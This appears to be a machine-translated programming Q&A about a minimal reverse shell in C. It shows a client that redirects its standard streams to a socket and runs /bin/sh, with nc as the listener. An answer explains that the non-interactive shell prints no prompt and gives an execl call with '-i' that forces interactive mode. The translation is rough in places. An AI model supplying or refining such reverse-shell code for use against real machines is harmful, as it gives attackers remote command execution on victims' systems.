反向打印当前目录 shell

Print current directory in reverse shell

我试图在 C 中构建一个非常小的反转 shell。

连接正常,命令也执行了,但我想知道如何打印当前目录。到目前为止我的代码:

客户:

// [...]
// creating socket
// connect

void handle_connection(socket_t* sock, char** argv, char** env) {
    // redirect stdout, stdin, stderr
    for (int i = 0; i <= 2; i++)
        dup2(*sock, i);

    execve("/bin/sh", argv, env);
}

在服务器端,我只是使用 nc,效果很好。但是当前目录没有像往常一样打印出来。 F.ex。如果我发送 "cd [...]",则根本没有输出。

如何将当前目录发送到服务器?

感谢您的帮助。

如果要查看当前目录,运行 pwd 命令。

cd 命令不打印任何输出。因此您将看不到任何输出。

如果您 运行 和 shell 交互,shell 在执行命令后打印 prompt。一些 shell,或者根据您的配置,该提示可能包括当前工作目录。

但是当你将套接字连接到shells stdin/out/err时,shell发现它不处于交互模式,并且不会出现提示。简单地 运行ning cd 命令不会给你任何输出。

你可以强制 shell 进入交互模式,在这种情况下它应该在每个命令后打印提示,运行

execl("/bin/sh", "/bin/sh/", "-i", NULL);

(或者想办法在 execve() 调用中添加“-i”参数)